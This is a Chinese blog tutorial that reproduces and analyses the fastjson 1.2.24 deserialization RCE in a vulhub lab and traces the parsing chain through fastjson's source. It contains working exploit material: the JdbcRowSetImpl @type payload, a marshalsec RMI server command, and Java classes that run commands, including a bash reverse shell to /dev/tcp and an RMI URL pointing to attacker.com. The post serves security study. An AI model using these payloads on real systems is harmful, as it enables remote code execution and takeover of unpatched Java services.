Fastjson反序列化漏洞——fastjson RCE漏洞的源头(1.2.24-rce)

一、漏洞说明

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。近几年来fastjson漏洞层出不穷,本文将谈谈近几年来fastjson RCE漏洞的源头:17年fastjson爆出的1.2.24反序列化漏洞。以这个漏洞为基础,详细分析fastjson漏洞的一些细节问题。

二、环境搭建

1、安装docker(含换源)
编辑软件源配置文件

将国内优质源加入其中,并将原有源进行注释,加完后按ESC、冒号、wq保存退出即可

<apt-get update 更新索引

apt-get upgrade 更新软件

apt-get dist-upgrade 升级

apt-get clean 删除缓存包

apt-get autoclean 删除未安装的deb包>
apt-get install docker.io
2、安装docker-compose
apt-get install docker-compose
3、安装vulhub镜像
git clone https://github.com/vulhub/vulhub.git

4、启动fastjson环境(1.2.24-rce)
cd /opt/vulhub-master/fastjson/1.2.24-rce
docker-compose up
即可启动

三、漏洞复现

首先下载工具marshalsec
下载地址
https://github.com/RandomRobbieBF/marshalsec-jar
新建文件名为TouchFile.java
并在其中写入以下内容


import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"ping", "xxx.dnslog.cn"};

Process pc = rt.exec(commands);

pc.waitFor(); } catch (Exception e) {

// do nothing

}

}

}

使用javac命令将TouchFile.java编译为TouchFile.class文件

然后开启http服务
端口随意只要不冲突即可

开启marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.xxx:xxxx/#TouchFile" 9999


然后打开靶场页面进行抓包

发送到repeater
将get请求修改为post
添加Content-Type: application/json字段
构建payload

payload如下

{

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://ip:9999/TouchFile",

"autoCommit":true

}

}


发送,然后我们构建的class中的代码会ping dnslog查看dnslog有无数据
命令执行
首先将java文件中的代码修改为如下内容

// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"touch", "/tmp/success"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}

}

}


跟之前的操作一样get改post进行发包

进入docker容器内可查看是否执行成功(是否出现success)
反弹shell
代码大意:
主要目的是在Java应用程序加载时执行一个特定的命令。具体来说,它使用Java的Runtime和
Process类来执行一个bash shell命令,该命令尝试建立一个到指定IP地址和端
口的TCP连接。

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime r = Runtime.getRuntime();

Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >&

/dev/tcp/192.168.xx.xxx/xxx 0>&1"});

p.waitFor();

} catch (Exception e) {

 }

}


同一样的抓包发包
查看监听端口那边的状况

四、工具利用

JNDI-Injection-Exploit
启动方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \[-C] \[远程文路径] \[-A] \[服务器地址]

FastjsonScan

BurpSuite插件 -- FastjsonScan
下载地址
https://github.com/pmiaowu/BurpFastJsonScan
下载完后选择extender添加jar包


五、漏洞分析

利用链流程

参数features是一个可变参数,parseObject方法底层实际上是调用了**parse**方法进行反序列化,并且将反序列化的Object对象转成了JSONObject
   

public static JSONObject parseObject(String text, Feature... features) {
        return (JSONObject) parse(text, features);
    }


parse方法会循环获取可变参数features中的值,然后继续调用parse方法
  

 public static Object parse(String text, Feature... features) {
        int featureValues = DEFAULT_PARSER_FEATURE;
        for (Feature feature : features) {
            featureValues = Feature.config(featureValues, feature, true);
        }
 
        return parse(text, featureValues);
    }


分析parse方法

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }


        

//将json数据放到了一个DefaultJSONParser对象中
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        //然后调用parse方法解析json
        Object value = parser.parse();
 
        parser.handleResovleTask(value);
 
        parser.close();
 
        return value;
    }


parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。

    public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
            //省略部分代码......
            case LBRACE:
                //创建一个JSONObject对象
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                //parseObject方法
                return parseObject(object, fieldName);
            //省略部分代码......
        }
    }

继续跟进parseObject方法

    public final Object parseObject(final Map object, Object fieldName) {
        //省略部分代码......
        
        
        //从json中提取@type
        key = lexer.scanSymbol(symbolTable, '"');
        
        //省略部分代码......
        
        //校验@type
        if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
            //提取type对应的值
            String typeName = lexer.scanSymbol(symbolTable, '"');
            //然后根据typeName进行类加载
            Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
 
            if (clazz == null) {
                object.put(JSON.DEFAULT_TYPE_KEY, typeName);
                continue;
            }
        }
        
        //省略部分代码......
        
        //然后将class对象封装成ObjectDeserializer对象
        ObjectDeserializer deserializer = config.getDeserializer(clazz);
        //然后调用deserialze方法进行反序列化
        return deserializer.deserialze(this, clazz, fieldName);
    }


parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。

我们来看一下deserializer的内容,如下图所示:

 TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了
 然后调用了deserialze方法,该方法中的参数如下所示:

 deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说

        protected <T> T deserialze(DefaultJSONParser parser, Type type,  Object fieldName,  Object object, int features) {
        
                 //省略部分代码......
            
                 //调用createInstance方法实例化
                if (object == null && fieldValues == null) {
                    object = createInstance(parser, type);
                    if (object == null) {
                        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
                    }
                    childContext = parser.setContext(context, object, fieldName);
                }
            
            //省略部分代码......
            
            //调用parseField方法解析json
            boolean match = parseField(parser, key, object, type, fieldValues);
        }

我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段
parseField方法
   

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
 
        //省略部分代码......
 
        FieldDeserializer fieldDeserializer = smartMatch(key);
        //SupportNonPublicField选项
        final int mask = Feature.SupportNonPublicField.mask;
        
        //if判断会校验SupportNonPublicField选项
        if (fieldDeserializer == null
                && (parser.lexer.isEnabled(mask)
                    || (this.beanInfo.parserFeatures & mask) != 0)) {
            //获取TemplatesImpl对象的属性信息
        }
 
        //省略部分代码......
 
        //调用parseField方法解析字段
        fieldDeserializer.parseField(parser, object, objectType, fieldValues);
 
        return true;
    }


parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞
校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数

parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object
   

@Override
    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
        
        //省略部分代码......
        
        //解析json中的数据(将每个属性的值还原)
        value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
         
         //省略部分代码......
         
         setValue(object, value);
         
   }

可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)

继续跟进fieldValueDeserilizer的deserialze方法
   

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
 
        //省略部分代码......
 
        if (lexer.token() == JSONToken.LITERAL_STRING) {
            //调用了bytesValue方法
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }
        
        //省略部分代码......
        
    }


deserialze方法内部调用了bytesValue方法
bytesValue方法内部调用了确实对json数据中的\_bytecodes值进行了base64解码

触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法
继续分析setValue方法是如何触发漏洞的

public void setValue(Object object, Object value){
        //首先校验value是否为null
        if (value == null //
            && fieldInfo.fieldClass.isPrimitive()) {
            return;
        }
 
        try {
            //根据outputProperties属性获取对应的方法
            Method method = fieldInfo.method;
            if (method != null) {
                if (fieldInfo.getOnly) {
                    if (fieldInfo.fieldClass == AtomicInteger.class) {
                        AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicInteger) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicLong.class) {
                        AtomicLong atomic = (AtomicLong) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicLong) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                        AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicBoolean) value).get());
                        }
                     
                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
                        //反射调用getOutputProperties方法
                        Map map = (Map) method.invoke(object);
                        if (map != null) {
                            map.putAll((Map) value);
                        }
                    } else {
                        Collection collection = (Collection) method.invoke(object);
                        if (collection != null) {
                            collection.addAll((Collection) value);
                        }
                    }
                } else {
                    method.invoke(object, value);
                }
                return;
            }
    }
    
    //省略部分代码......
    
}

setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)
fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下

然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法

六、参考文章

https://blog.youkuaiyun.com/m0_51683653/article/details/129364136
https://blog.youkuaiyun.com/qq_35733751/article/details/119948833
https://ciyfly.github.io/2020/12/16/%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%88%86%E6%9E%90fastjson1-2-24/
https://m.freebuf.com/articles/web/381720.html

fastjson是一款流行的Java JSON库,但因其在解析JSON中的不安全行为而存在远程代码执行(RCE漏洞。为了复现该漏洞,我们可以按照以下步骤进行操作: 第一步是选择一个适当的fastjson版本,建议使用较早的版本,因为新的版本通常会修复漏洞。将fastjson库添加到Java项目的依赖中。 第二步是创建一个恶意JSON字符串,该字符串中包含能够触发RCE漏洞的payload。例如,可以使用如下的JSON字符串: ``` { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://attacker.com:1099/Exploit", "autoCommit":true } ``` 在这个例子中,我们使用了`com.sun.rowset.JdbcRowSetImpl`类作为目标,其中连接地址指向攻击者控制的RMI服务器,用于向受害系统发送恶意代码。 第三步是编写Java代码,并将上一步创建的JSON字符串作为输入传递给fastjson的解析器。以下是一个简单的示例: ```java import com.alibaba.fastjson.JSON; public class FastjsonRce { public static void main(String[] args) { String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://attacker.com:1099/Exploit\",\"autoCommit\":true}"; Object parsedObject = JSON.parse(maliciousJson); } } ``` 在这个示例中,我们使用`JSON.parse`方法将JSON字符串解析为一个对象。fastjson在解析时会实例化目标类,并调用其构造函数和setter方法,从而导致RCE漏洞的利用。 第四步是运行上述Java代码,并观察是否成功复现了RCE漏洞。如果目标系统受到fastjson漏洞影响,恶意代码会在解析过程中被执行,从而使攻击者可以远程控制该系统。 需要注意的是,复现fastjson RCE漏洞仅用于研究和教育目的,并且应在法律合规和授权的情况下进行。漏洞利用是非法行为,可能导致严重的法律后果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值